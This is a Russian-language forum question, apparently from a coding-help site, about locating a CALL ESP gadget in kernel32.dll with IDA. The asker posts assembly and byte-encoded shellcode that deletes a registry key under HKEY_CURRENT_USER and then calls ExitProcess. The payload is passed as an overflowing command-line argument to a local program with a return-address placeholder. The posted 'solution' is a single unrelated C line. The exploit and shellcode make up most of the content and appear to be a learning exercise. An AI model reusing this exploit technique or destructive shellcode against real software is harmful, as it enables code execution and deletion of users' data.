Адрес инструкции CALL ESP - Assembler
Формулировка задачи:
Здравствуйте, подскажите пожалуйста, как найти адрес инструкции CALL ESP в библиотеке kernel32.dll? Учусь пользоваться IDA'ой но никак не получается. Открываю библиотеку с помощью IDA'ы, дальше Hex View и ищу FF D4. Но дело в том, что подобных сочетаний там много, чистого FF D4 нигде нет, есть 41 FF D4. Да и их адреса почему-то постоянно меняются. В начале показывает 00000001800BCA20, потом после переключения на IDA View и обратно показывает 00000001800BCA27, после переключения на Structures и обратно показывает 00000001800BCA28.
И ещё. Был написан шелл-код, который должен удалять ключ реестра. Может кто проверить, правильно ли он написан?
push ebp mov ebp, esp lea eax, [ebp + 36] #+байты шеллкода push eax xor eax, eax # не читать нули add eax, 1 shl eax, 31 add eax, 1 push eax mov eax, 74E93C39h # адрес функции RegDeleteKey call eax mov eax, -1 push eax mov eax, 76C139E4h # адрес функции ExitProcess call eax
WinExec("D:\\11prjct.exe " "123456789012" // тут будет адрес возврата "\x55" "\x8B\xEC" "\x8D\x45\x24" // + добавить байты для шеллкода "\x50" "\x33\xC0" "\x83\xC0\x01" "\xC1\xE0\x1F" "\x83\xC0\x01" "\x50" "\xB8\xC8\xC9\xB5\x74" // адрес функции RegDeleteKey "\xFF\xD0" "\xB8\xFF\xFF\xFF\xFF" // mov eax, -1 "\x50" "\xB8\x64\x7F\x14\x76" // адрес функции ExitProcess "\xFF\xD0" "test", SW_SHOW);
Решение задачи: «Адрес инструкции CALL ESP»
textual
Листинг программы
RegDeleteKey(HKEY_CURRENT_USER,(char*)ebp+36);
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д